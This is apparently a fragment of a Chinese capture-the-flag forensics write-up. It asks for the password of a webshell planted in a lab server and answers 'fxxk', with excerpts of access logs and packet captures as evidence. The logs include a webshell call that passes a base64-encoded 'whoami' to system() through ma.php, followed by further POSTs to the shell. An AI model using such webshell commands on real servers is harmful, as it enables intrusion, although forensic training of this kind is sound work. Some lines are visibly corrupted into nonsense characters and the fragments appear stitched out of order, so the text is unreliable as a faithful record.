9.0; Windows NT 6.0) Opera 12.14" "-" 172.28.0.3 - - [28/Aug/2021:18:48:05 +0000] "POST /ma.php HTTP/1.1" 200 144 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0" "-' 172.28.0.3 - - [28/Aug/2021:18:48:11 +0000] "POST /ma.php HTTP/1.1" 200 261 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:48:39 +0000] "POST /ma.php HTTP/1.1" 200 50 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36" "-"

68773 1353.000000	192.168.1.8	HEADERS[1159]: GET /info?l=1 192.168.1.12	HTTP2
68781 1354.000000	192.168.1.8	HEADERS[1161]: GET /info?l=1 192.168.1.12	HTTP2
68789 1354.000000	192.168.1.8	HEADERS[1163]: GET /info?l=1 192.168.1.12	HTTP2
68795 1354.000000	192.168.1.8	HEADERS[1165]: GET /info?l=1 192.168.1.12	HTTP2
68808 1355.000000	192.168.1.8	HEADERS[1167]: GET /info?l=1 192.168.1.12	HTTP2
68820 1355.000000	192.168.1.8	HEADERS[1169]: GET /info?l=1 192.168.1.12	HTTP2
68826 1355.000000	192.168.1.8	HEADERS[1171]: GET /info?l=1 192.168.1.12	HTTP2
68833 1356.000000	192.168.1.8	HEADERS[1173]: GET /info?l=1 192.168.1.12	HTTP2
68839 1356.000000	192.168.1.8	HEADERS[1175]: GET /info?l=1 192.168.1.12	HTTP2
68845 1356.000000	192.168.1.8	HEADERS[1177]: GET /info?l=1 192.168.1.12	HTTP2
68852 1357.000000	192.168.1.8	HEADERS[1179]: GET /info?l=1 192.168.1.12	HTTP2
68858 1357.000000	192.168.1.8	HEADERS[1181]: GET /info?l=1 192.168.1.12	HTTP2
60061 17E7 000000	100 160 1 0	UEADED0[1102], CET /info]]_1 102 160 1 12	נמדדון

10.7

题目:

黑客写入了一个webshell,其密码为__。

题解:

fxxk

查看access.log里面传的一句话木马。

10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:46 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?fxxk=system (base64_decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2//ma.php?fxxk=system(base64_decode(%27d2hvYW1p %27));" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-" 172.28.0.3 - - [28/Aug/2021:18:47:42 +0000] "POST /ma.php HTTP/1.1" 200 156 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-" 172.28.0.3 - - [28/Aug/2021:18:47:53 +0000] "POST /ma.php HTTP/1.1" 200 141 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" "-"